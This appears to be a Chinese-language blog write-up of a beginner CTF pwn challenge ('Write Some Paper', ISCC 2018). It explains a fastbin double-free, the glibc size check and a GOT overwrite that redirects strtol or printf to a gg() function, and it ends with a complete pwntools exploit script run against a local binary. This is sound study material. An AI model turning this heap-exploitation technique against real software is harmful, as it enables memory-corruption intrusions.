ISCC218--Write Some Paper(入门第一题)

2019/12/6 11:57:07 人评论 次浏览 分类:学习教程

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/FZ070104/article/details/91352085

检查可执行文件的保护机制

文件的保护机制
发现PIE没有开启,Canary found和NX enable开启,栈溢出利用难度大,优先考虑堆利用。

静态分析代码

主函数
释放堆块---关键函数
delete_paper在free后没有将指针置空。
分配堆块
在代码我中没有发现溢出点,考虑的double free。
感谢https://blog.csdn.net/qq_29343201/article/details/72627537理论指导
利用类型: 堆利用
堆利用类型: 针对fastbin的利用
利用思想: 利用fastbin的free只检查是否和上一个freechunk相等,使得同一个chunk两次进入free list,造成UAF,可以更改fastbin free chunk的fd信息,最终分配一个特定地址
利用难点
需要能够两次free同一个chunk
更改fd的时候,为了能够在之后的malloc之后返回这个值,需要通过一个check,会检查fd指向的这个位置的size(这个位置可以不用对齐),看是否属于正要malloc的这个bin的范围。
详细信息
fast bin的free检查了比较多的东西,所以这里就不再都贴出来了,其漏洞的主要原因在于fastbin
的实现其实是一个单链表实现的栈,后进先出,free的时候只检查了这个栈的栈顶,这样的话,
只要不是连续的free两次同一个chunk,就可以顺利的将一个chunk放进free list。之后的分配会使得
chunk虽然在free list里,但是也被分配了出来,这样就可以更改到fd指针,使其指向其他位置。

动态代码分析

我们以动态调试的结果来说明double free利用方式。
我们进行两次add paper(1,2)后的堆分布图,第一次分配的堆地址是0x603670,内容是"test";第二次分配的堆地址是0x6036a0,内容为"test2";同时我们发现fast bins中没有任何信息。
在这里插入图片描述
我们进行两次delete paper(1,2)后的fast bins,我们发现分配后释放的堆块地址在fast bins中存在0x6036a0,0x603670,且后释放的在链表的前端。堆块中这两个地址中的内容应该被清空了,但是heap chunks中还能看到它们,为什么呢?(刚入门还不知道原因)。而且0x6036a0处竟然存放了前一个释放的堆块的地址,原因可参考https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure/学习堆结构,本文就不再赘述。
在这里插入图片描述
在这里插入图片描述
再次delete paper(1),我们神奇的发现0x603670在fast bins中存在两处,double free精髓。
delete paper之后的fast bins
我们再进行两次add paper,将0x603670,0x6036a0分配出去,此时我们可以修改0x603670的地址为任意内容,最后fast bins中也只剩下0x603670一块内存。

再次add paper,系统将再次分配0x603670给程序,并将前8个字节(我们在第一次分配这个地址时就获得该地址的控制权,arbitary1)的内容写入fast bin中,再一次add paper时就会将我们控制的地址分配给程序,达到任意地址读写的目的。
理论上很完美,但是我们分配内存空间时会有一系列检查,还需绕过。

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = “malloc(): memory corruption (fast)”;
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
这个检查是指即将分配的这个chunk大小应该在其相应大小的idx上,比如size都为0x20大小的 fastbin,能够接受的值就是0x20-0x27范围,分配过去应该有这个范围的值(被当做size), 否则将会出现memory corruption。所以利用的时候需要想办法找到一个相应的size,这个size其实是不需要对齐的,所以可以通过错位的方式构造一个假的size值出来。找到相应的size就可以进行分配到相应位置了。

注意,在64位下,我们只考虑低四位即可

解题

既然可实现任意地址读写,我们就需要弄清楚,写在哪儿,写什么?我们注意到一个函数
在这里插入图片描述
天助我也!!!当然写gg()的地址,写在哪儿呢?我们没有获取eip控制权,只有任意地址读写权限,因此我们考虑将got表中的函数地址修改城gg()的地址,那么调用该系统函数时就会调用gg()函数。
在这里插入图片描述
在这里插入图片描述
0x60203a,0x602042符合我们的条件,因为堆块size为0x40(不考虑高位),地址-8处为堆块分配大小。https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure/ 自己学习原因。
方法1:
控制0x60203a处,system地址被破坏,printf覆盖为gg()地址。利用时需要还原system地址,同时触发printf调用。
在这里插入图片描述
方法2:
控制0x602042处,只需将strtol地址覆盖为gg(),然后触发strtol调用即可。
exp
from pwn import *
pwn=process("./pwn3")
ENV = {“LD_PRELOAD”:"./libc.so.6"}
context.log_level = “debug”
gdb.attach(pwn)
def add_paper(index,length,content):
pwn.recvuntil(“2 delete paper”)
pwn.sendline(“1”)
pwn.recvuntil("(0-9)😊
pwn.sendline(str(index))
pwn.recvuntil(“you will enter:”)
pwn.sendline(str(length))
pwn.recvuntil(“enter your content:”)
pwn.sendline(content)
def del_paper(index):
pwn.recvuntil(“2 delete paper”)
pwn.sendline(“2”)
pwn.recvuntil(“which paper you want to delete,please enter it’s index(0-9):”)
pwn.sendline(str(index))
add_paper(1,32,‘aaaa’)
add_paper(2,32,‘aaaa’)
del_paper(1)
del_paper(2)
del_paper(1)
#方法2:add_paper(1,32,p64(0x602042))
add_paper(1,32,p64(0x60203a))#方法1
add_paper(2,32,‘cccc’)
add_paper(3,32,‘dddd’)
add_paper(4,32,"\x40\x00\x00\x00\x00\x00"+p64(0x400943))#方法1
#方法2:add_paper(4,32,“a”*22+p64(0x400943))
pwn.recvuntil(“2 delete paper”)
pwn.sendline(‘a’)//为什么需要手动输入才行?不懂
pwn.interactive()
思考
1.如何判断是否利用成功,因为无法remote,本地如何判断利用成功?此处我通过调试发现调用gg()函数即视为成功
2.ENV = {“LD_PRELOAD”:"./libc.so.6"}这句话很重要,不加会报错。为什么需要手动预加载libc,系统不是自动搜索相应版本?

相关资讯

    暂无相关的资讯...

共有访客发表了评论 网友评论

验证码: 看不清楚?
    -->